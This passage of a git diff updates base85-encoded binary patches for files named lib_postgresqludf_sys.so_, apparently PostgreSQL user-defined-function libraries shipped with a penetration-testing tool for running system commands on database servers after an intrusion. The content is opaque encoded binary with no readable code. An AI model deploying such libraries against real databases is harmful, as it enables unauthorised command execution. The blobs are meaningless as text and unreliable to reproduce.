zcJ!7~6;iQ@Id340Tq{4Fv@o4AjK(lSaDvm_Omg!Uev{X*R8p}%!I}OV_!m$6| zr!`f$Yb9O|)Y8baF>PV#`UP4FTaqBb4`|5;re`O0G@3xO>Z|krkdbIJ=&P?wyJ?h0 x9!+mdc;HefNv>NY(|+U#?h4aD*_sqW3NnZUgLULW2%;Y)F;bwptX$gU@jD@0IpzQW diff --git a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ index 3b030e70b1f8815ae6b47051821a57e6e9340df7..c56d766209ac4b56a3d8ba4f6e211adb7fa60c7d 100644 GIT binary patch literal 2640 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 literal 2640 zcmV-W3a|A&(z+@r34Vfb^zl6^(>=sTN?)rZXCMX#NkV8retOT6R>!hz=jO#g0VVGB z=RgDoC3VwpV+c*JdRG)L2-~xUocYQaDu(@GMU-_ zWeg<>gHEW-@enMZB(43TKcJod!q@6i-LH$7Cr%O?;y6lm zDaZk5bIF8BNtX5xrH3OTGoyf&n z;T)8Ytij;L(14%j5&*7BFPuIGRcQmy8xCD7Wd*0d_%a{uOmA*?vFZ>JG_?I%Kzvn8 zE)koqjJ4=G@{?hM*Q&Ry2)Fk1B(u7+t~9p!X+1>l{Y|X86_eY=b=juBF5~(swM}`O+Vi{Xkjn9HOLkq~cSAkX3%Hkd8V{#S$M2 zfBiaXT_tR}X1Srrs$9|fG-|x0;?E6b;%}&%)849Kt9-2Ln`dCh<5wEks&w^F0&?7? z_N&pJF54~3kuW!2;LJ0g8;-zc`vB(fMmvSy{uCnYU%lUU zSN64Sp18mnj80A)pK$wKxQpSR;;pjXJ=KGQA{i_XZ9X=;P|>`BTbyY-kLju{+WSA= zqSB%?^0;n8q)%7j#N#Y@bl7DuEb)TuccTh_`{31wz`E*wM>t=`ojVSBh#Po zkYT#4;8|FP$*x>`&#KFNbT6&!0lFTp z&;;fn#pn(VP|e}D5u(vnH=T?w;MMQb$Pml}oF0+2ALAI|IAX_i2fIN#BwU7waa_p#EM=W9}bg!e1PoIybL#vzN4F;^- zWZsNvzf#!#a}A_1z$RhfycWy2cmO*IR~*_gd}|gC@JwwxT%aRj-fGJkS2`CAF@RjD z7lp!hG9h02>>`w7 zBmH;%`_Cl?)=6$c_3N1hOYkM>Mw|c)&aQ$P*5g*&={rvbKNVT z#!DV!Mc?+ zD_@EYc(BA3MMpH|nD=)X9F$~otF2G;<=3_(u(4Z#?NfY6HyeG;25aA!*#bMJRG-HS zfc8J(0_*Dk0NfARD?mC#k%l$KtRgpJJ``OLq*$r(!zHjb*s)L{-v(0L_|0OR8#~@2 zjC=26F?vn9ny|qcIu9g+@T)l%<`>zNX9rI$sirrTU;8I!VaEf<`&ubITe8 zbptPcfX^s8>VFt!inJw_ei=~7daf~E+DS>oBXDc131e9TW?hOhm&!ODCM ztGS;$nrg=&kO|DM9fC(iJDZmuU)u99Hb>$7xQr_kVG*wJtqc6Y{%_$R08E9`SQ8Yu z@joV-LT@lAP+G?lCtzL~HE*hywi}+qrZmmA)y*ZB-pcnqC>OrTcM<@|w4TkMr*jv@ z==Y>#?1KF@&$RiHu_13$Hbf~|HX;*T8x$&jc6>Hdv*%pCCAWZsmh9?m)acf1vqz+V z0#HOguJ1}=m0=blhUla6Ln~nWc>Zc`At+gi3ldMg0DIO>nU<82$@n_JKR<#o;Yq>C)(m0wXdHL_qr9!BQ=ntvI z@DPvM$?F&k+wg6?sfcxu`Eq~F7cLJwgd1vuMy3wo1 zfIR`R*`LOD%#$NOrCPiZ_53|~8$&!wqj)9n`*5US&x2Q;-KB7`-=3m9!$F6d^GyUw y4n6~aeOXIUM^{%RQV_&*&mrMsS((9 zw_(V+EtdKNM+xxo_jskY=zyu*iHHB+^sTteGzg?oGWH8Kc$CzAkXp_lq7YZ^QdNom zfNe6%d=Q~#X3ojJ<-u4?U|4)`yNmijSx&T!JXt~RU6KKybk*=}AHadPS#_&K-gQ8h zfOPe~=!;OjqcG}tvU6m|Tm53^;j>uP!&gb`IZ7Ba`%J+}txot)(j2xqU79hV8=!z= z{4mfp;3AZo?3=6NXSq*Bz-O2A^Z+gNIJL`i*}%%n99XG5_d+ww0QtGq_|W>au-7ojiRZW7T#zpilFQQW;V@3Mm36tC zLC&L0i-efw*(|k3?s>2MbXR&?w_vU;4#=zDg|Vq?wjfeh+m^Uchtep|5#1Va#cKI6 z%nMsX89qfkW`fpW5e#AtxZaWXwOYb#M8ji-->sl1IyEkS_o>Pf#Ih;hdb-J-G$Twk zQDK9^(&EI0YRR7+)Wf^HUcE?U4_ztPhO%KBC=Dsn(|Z8!Fg&p8mjXI}6ob4_R&yJKKBzobLJ^eHqGq7k{SJ$db0_&n2U5WJmG z$x6d=g{5f53U#@(FVm00@JqakEN7!()kX#erwj^aOrmHcp|&%GtCB@@fARYmb{*M) zQ4LSq6a12(Zc(ZLBp8dVP z=tbrwNX2Vl*GgD-X#7Kt8lO8qXeoJuF|1_K^2Ul#Pfqn6`-aRQ*e9I{H>!cVW-r}F zt%aGlN<*kD=1?2W7e9JH!nC0O-q?T&4YK(08Z&9ab&z^MN?ND1)W>-|Apf6>hxUT( zAV9vWrCx$cqLxHL^VHe`Jx!RoK}$4KNMuRD3{_6z1>h8XclQ?m<6EwO*E$e6N3Z$l zM=&2xcuB$H9Nl26!@)Qy%c~Pupr92}oZanJ5Sj;`G++|!=`h2e%*Q@^<{5@4^jQNMP z2BQTBPl$!QGE`M*&~HN#joloTxEYBqg;#!1t?qrvGx2)s=LcE{!(S8?acjS2YJzcC4D4`OL!Bx)#S|wdI)@C{tQYLP|1>280K%Dav$Q03a^JKa zrZ43ktO4uKLz*3y@-731_=UeLl?@9x*KzH;rK-!jH!_?%L~VZUQ}r#sSQ!tTb|VY3 zihiB<4qn+@}b9{rYAE6YIwA=jOp%Iv@w_76ky02pA=YyF97r%}R z38i#Ae6c(wTMU0XVX&UuA5|*jU+nsle^F%bDU-Z|hp!0T#y|F2!tqdP;kZgA5(OsF ztL%Q{#J_=*7W=$5#Y!8pnEJu`kIRf|&#$PAZw0XSpe8n&dmNLnr_%Fvr+GB##UZv8 z6N#zb==y;gx%qm7mc3c`7%b#W9UgsdJ>fiommtnsCvlR%9SGEHJE>S({1_Zo-18|< ztwM!b$>A@Im&mW+<$;|C(CnKD9loEn)1&;Lqy~%0xu{GoIdOBU14qt0WGg|!pzHe{ zA2f5UTM6UEHZ6eO*klPQ(5x}q9Si?<+)YQGm*@%@B6@;(!@J4WZtCHeBrB;**&l?w zx~B}#dA~$#_^oVK(>e7z7GB5$$5T?Z$k2P<0|AXqhPoO>z@(vGL%Op8^wA<$SC;DL z2@J;EOt6lZWd^hI458I(wJRj>}-*zEH%;qUe+7T{Pe(Ea;%(K?>S$7fB zCHP>c@YABA1iM3!i*XQ)qf)GfiHRM6-{C-UGd|zbf|*;UiWZEKkt6+e0#`!s`_e(S ziMNZ}07cymPsxgt=OR_q3|!I6#kDndr={&fWr%}E=QZro#ul2eSx=BwpEqr*Ak>Ndm(;_A8@E+Qhma_ZiShuXt{g+ A9{>OV literal 2018 zcmV<82Oao5($XY6HFlzKwS7djS7AyBS?%)(E8j4`&SCjZ@h)jZ(s?crKu8rg3=N*` z;y=e&wTo5~>qzetuNh)|)|~YWBZA%xo& zp5Q*9|HP!m{XD+sb`FQ7Ua(p^u(XnZ&Q=Y^zw0hzf@0m;0iP@2pqS_gs5iu{z$e8D z<%12Svl>dO@!E@W^O8~z(MP6ip?y$&krt0-fS%oQ*&J1Xrgod*HsYr}?G@1-Yu4vE zuEmY&UnuCiS*U)-ytcevbX|gk^A0$@enqQJ6NsOUzhpi3&bWpVp=9{wHQ-;>%Gz6% zK&w!pC*`8-nTaR7Ct+KPtVNS}Ae<|2vMhM&R;)`$@yC|@bCo_tk?QZ<+Z8~y?Nyk) zZp*S6h^3{};|aS*mRXM6TT*Kdv_X>|H0`C|{gH@DnI%I4*tdmZz4s>1Y5hA<>Tl>| z&njkdBO6OR9-{X_J_&PJyZ@}kkAKW;JmW&A@TjqUITRC2&5Xnnypjn1RlnHCHv(}7 zYebF0s>0=@Ma+&!*W!kbWSB-|cYO%?skd-WD=ZY?>0S=`$*!@I9&}-p%oruz^rcrM ze{!j)^l>v!p z=1qL&V~k+(~92hrL&Ss2LF zQY>=mDcPK+0l66~?Far2;M6{aeyI|}8+k+!_#WmPbBDQ3Vn0d1^{c}MSGIgfo!o$o z(qQN%Fy%@?_)ke9Yu$dlAi6a_5D8eL9;tPN@#nWg26Tnf`h z)up(WWk$Jq<#8teEgEz{x|D(5@!gSM4wJ>hAQorB4X|5bWnZ@8*XBeH8rqSI|JI|; z4@Iy3rhmV9n6pYki}d>=5=e>cLTU+NazRJIbaijTD&++!bk-})*?ypZuNpBJXsYPF zL=hr=LTt+#ZxT0!HN0Ff?xD2+3282YQEr!vg~+-_kRL8G#_{VoM^ zy;`qE2N??dN@=Mo$T1u!0db8-ia9cPZ5`M4V(Bxjq(yyq)p@>8)QZ9>#u!^^^x3AA zDW()sOsTkz2yt6!s83=rqSy_5-^s>xMiy+Y?J+r821TzQiF9DpgHj{frB*)h3|m|iojxsG4e-KLiWZ=bI! zCZJ_$e~Q4&io7?=zweEsyw~vXfKmehmqX!G9K{=hU-}2H_h+xM zAUW*fKFjTx6rhs;c2egE4In$>I7QEQ2(Ya28Q_m?Eodff2H=n$dq>?b9l1-Y2Uz76 zMzgK!^H7HwREW3?Ki430|8&CFm<^$QC$CyRG^ot5INET AFaQ7m diff --git a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ index 43f7cdc55d986c43302798a6de364a57a45a5c53..d734fff00ae1e9781ce2fbc18f8c39c1383f5e9d 100644 GIT binary patch literal 2016 zcmV<62Os!7s`3RLI(w5XHq|-7Alr^1LeqA}_snnO?@Ge=Z1Ru?B&6qIpLn*jFQX6N z8Y`X5y9&JGS8ExIuX^}}Be)XaK-Ew;2fgN+>`}F8Vl=LCW1-ie@F3S3{mQd~r@y!M4D@PE`W>s16@kvZ__qn-#2|kOQXFC4 zmWC+vY~F7Z88vG(;spvN96ARnp7Urb6&jHbEXt!dIJZM@C0#NEU7vWb;m~jS~rM;(F|?t!TyB z(h73oV@K?aloPzw{}9C%t$bXZD8IAMu{lVDy%`6drau%ld++&2@)t3LrS}_nTEWo# zJD}Jb`h%TebfS81793D%2}rA`*DjN9@2L{5!O{E+mcNYv&uvFSDJNT@J~#it2TrnIJl^t?eOgUZW;=G0Y*YgJ`)> z*d8uT?zJ+yyHicZt`}tQZHroGl3B}+tv}2`EoqIFEgd5pw}*ji6DKRJ#ei2aS-60`4wdVhzey80+ ztp)t*HO<*m!?I5Is?2l3KD_-VX)xv^ST>@sb@1p(vAJv}ZVY-AHSGPMU@>~+BX!P50>OCzpwvTbmF);DBwc>4*Y@dZ!}-Ds>KEtO)?168Fw- zgY(jdQKBnG=YAHMR{a3kj||mrGhTi|{~Nr=Ylexdbqdm2)}A-~^14MVH%A3F3XtRl z0fcspR9D`g#KCQ{vK<&5TljWd(-H3D$ANmH2#cr~j7{BPTS4K9!zJHkzu|O4yV)_9 zW4vzA#G!Drmb$x6g$@*^iV%5bD!zL-a@q)6dLA+rz39J(*pd0F)@12u2c}9?@DV(% zEzvQU)Wi9YJNSz_lqXhT=TqbgEv9);TBHoEEJag<-tL*RRss|iH$scJgf)v#+t^MV zM#AGBi=;e2fT$ES`4-h*L!pLn+zTJ8xYms=pf86GWnwjxQ(K^G)cL{ft+DD=QkmYb zZ)~T0G~4)!)wCtAo~~`fkp-Uo#F4*`r2@YP$U#gWg1oxuc7xExw1*AsBle`EKMVVq z#Em&Wlc8fSy7Jm`9LEx)YYf{eH#G0akcgn8qs1*KKupwxiS*fzA{& zyA6bV%DL$qT=#gohOCkNVR+DYyqH7Y^wxL9 zJm$_D&kzTiiITZ%&mC=m%=oy~f&qdgbeW4Jan#1S$r~I0#pU~s0$#Xv7cNmn#)k>Tu8(LaGVnqMo z4~uccjvNyTkRA4aQh&2!)WkZ_bWu@6* zn&94=Qy{ly-Doe4r)6IUd~{IwU-V)oLWzHJfWUD;|Du5FZ|{rmx2GWU$5+~`Ke(%D z$f#rKs1VYeBeO_2I4j<>Z#IZ6-kZ_}P yx2XTpt}-)~lH`1SIN#GAE|A7#BI~#>i7npfwd@D!Y?r}OjyEaH)x3HZ7OYk0s{Mli literal 2016 zcmV<62Os!7($XY66@G$vHS`4Y8vcMGI`dcO*vWpj>}&tUR@a^fT!h9zuzjcIEP^ua zAP$qv!z!J_cy0*ZtXsvm8J!&9IQ4NBD7g2}?{J7)SP`Ic8-ezL-zCOR{_BoKx&%52 zhr$1tj)tOGjRy=(xQUChnXJvU$C|sIq@IezHqm5Ff<20}I)vZo`<67&{snOfDm*~{ zxq~^TZ~syuBN9IY`Q6}7ZDaK(_=H(K(;p^K=_a*Gluw1z;VEy*7}2OoPilWBe(yZj zpT`H{4q+=m$`Ui2de_>4rDM%u3}g^Yx_7!vXhT*%OE*&`Ue-XZ^)o0<&42y*u1Wao z=r4TY8)wa}yB4j0{4w|>mswJrP@j_So;+F6zBoFpoEjQ61JBrI-4Yna)gSF(0&JYXE<7FscBgY}5Ne9d>2Y-2(w}!D ztSj~|YUntzd8qzHwOQ&W!hffwko#1)W9OmCkclU(C*gS0Z5;EgoT;u*s=OH~coIEIhOhvyCT{C!h-J#EM5muhwoZ#& zTvnT$`tF0eGPSx~{#1!9URLW4v~iOkG+lylsoR8Txr|Bt12GpK>n+Y~(Em{iHD{q< zUPYmClZKhD4}oAwmHNz)hG>ch>P1u*sy`r$YUZ3&tc}SFZeK;}s@#M+AjwkLHv)0T zd_;{ttCHzdMa*tc@n9v6{FXrnJOhO{+S?8@i2cA*CK=E@VWjrpwq7Na%$OwI!o z=1DP$V zQY>=Wso0$s70Deh>xaJiKkPh+CTSkS8+l9^_?{*kGY7d&Vlhd;HLIgw<^V%;pggqj zlQ8HdFojA%_o z)g|4_8py~7z>{;ukm-HGMx5LSMm6_#TNj_5Pu1p0$(cHqF42S|H=tEmRUx zlgz!!`w-+X>u|9(9&7qb!*J24!t=;kaR#7r%1u#U`7(7Ud)hRX%OG8C1Fsx`yMNoh zn`|nJSSEaV0ClmSMk&$eKYdAK=5V>>$XGL-bBt9RO>$Puq;jRDQdKWOgA5V%5!Ulu zxz^l=DS`@T$a@FORop%6wJFpRlXs5K9PcPhBuD%xC-M>_MG-fyiFtzFh zd8AjZds5HJ$KX(ah&UD?`{Vp|!r4?v1DW66PNclhr3t)g2%ukL2sg|(j8h3|Ir038uE;?7T z-N}=Etg(o->?zO1R)TAovQNMJUUxBd@UF^vRU0EfzR7~M;y9YPecd|t6W*Vz2umz3mHD!KoT zKxwuqH~Pi6?~yC7=8jC_z5tJ@$FPFEpC_>guwiXJt+}hcb)xO}j-mtXTh@hz5Dx0i z$E*Ymsf2AV!qWRwGr|M*Xf5U#4H4nU=%|5$jKDkyu7&XxAg6d9k~pxxnWn`pJ6Yqs&k-bZ)`StT8hVbK9 zT%Rd-u64@nApgM08?Pw`twf^?RZ?YSsYjhNg`~&p;euh`0{@b} zFQuV_=W9$k*{hW=XZM%w66nYL1ws=~TJLgkTM-5fgY7?z?B|fQyV}c+~t`cI8>7<*@OSYh$t zcdJn4p&0^SlRq#+ehlZ(63mpWgfNR?AzA`cm^YCx2fXS7wMwI3URYG3J#R(?`y*8X zzTKoBm}Z_*+Mo11I)d^&%F8F(yJG6MO5QGYyGYS`*Lv4PG^p}&Y8UE6^zrT3N}$L! znZe_zX$84vrAQ91h+s}qe^qVDWzlRVI;mb$uf<>${DZyORmz3$&xZlh=u*r6JeihT z@{Mij&@l7847OP+L7&!z+N!HyQ!bA<(=xRZLu9)K)lreTptaL_AsY7W$B++us#UFY y&xqdhfj1(+k;Oqz0{Yz^RrN@ diff --git a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ index 2c49149d0d5e57e9dfa5f9b4a2fbe6ebf2633cf8..da50fa8eafc60628bb5e65f2eafecae813063e33 100644 GIT binary patch literal 2020 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 C$M#wP diff --git a/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ index f463ee7543d8c51ad112c876bbe78d4254db24a4..83732d33298aaf8e1e6484718d86acc1a24014f8 100644 GIT binary patch literal 2729 zcmV;a3Rd+!s_F_KCOnZP_W8Wii8kOjkkUqf)7JbTG>XqC!L-II(}bDFY{-0mL$|{mW-!UH7HD@#7CGH{ve=vaga10nqXNIbdJHbF$TTI5T2@B%V$HqN>}G) z>DNGBle{cooNuApv0OER=FhP+&yx4nxw?I($S1Y;jYBZ#DU`@`hwOHw=NML`O`obYW#7DC?S<8N%nG?W1bUrQi{iVk zZ(S*X)(@GAdFFu}o+j5P?xSjvg_7^2+a79{3Vp=R+GNt_usDAJc${ld8x}h%wlmHknk+f!R;a?^l1h{?#X?xzM_u&l*M!;vs6c4&tK9 zHL2cV0}7VZ*5R7d1TQvF&Urq9?@}79ugwRK-d(eq^SROemXH~Wx8a3swsJ1YPN^Cp zY46Fh^d%R?jYhgQ<^Z|+-wFpq`3LC>hxcyJdVA((a!$VRX|TyQI+T}DPO+J$FT;Ua zCILlZ5QHxX*guweH^xGNke_w4;rX0XIpppMb6H@u3~Nm}m8p90Z^Y@#e}E+}Hkx%> z18bfI;0hB{q#OXm=eHm0&Y59A>t-9yAtUMiMNq7mr3Li$;q3I?jJ1Grh|bPwjCcNC+8qq(S;jhN^?f%cC$SvQ#FthmkZD-o-UH?GnYkKQa~N|9r8R zhEIEr!Ij?0kYgoQ8Xtro3bas|x=QrpnP*w}zO3KN{o??H00%M%RP5q8n!_IccYI9) z&X`gdx?Ue11<3pA4UjwC#^xC(0`N{=m|aaR?G_(Jtl)X&<^lG*!RjZ@v;QEAc{)K8)t zk~xUOz@f)#Ny&#AerrWP+nRxL@Ri3A=Zt*uiTOxZ zEt?{)pgJC~r5L#-Mnz8g29Nt~WeoHPg^+a<8Bc>m^1ICNPKkS%VhO0V<^Ly|@jOok zRGf3;kmw8`EM7N!&Ydb)%OH1x5`~>aN{T!xs34~d8w=n&9B6M$*nvs+reHabSW3TY z7fa895ny|H@xlgijNr~c+G}ZQ(O`GJfc6@0i1|^$9e(|VuNw%Swb>oLb!ce$uaKQn z@1Fbqx}_a@h^lrvxL!t`IQDz@9Xpsf5V?wR=P%*7(?Sv2M6Wub%mk$HnTSc>O4*Vn z7`tz7Hycn?qh4F51i)JG@#-mRt+8JREUXy&sDzjEevX$$y4&;(cl(%B#fxIK;%7S0 zAOul%kyx$=6i&Amu<96^qf)2wQ6tmYIf$x5>KVc*G9d;LD5I`z*_nD3{&Ku(c8VAC zluF1wj@BI=kG#AykJ)mZZOQH^*huXIZQ8hNTCg+`i<-%Wy z@BzIt{+OqF5NMn__MRKJ%yiB%AbuE8iHm&rtFI=eQLh1}dj%Sa;%a% 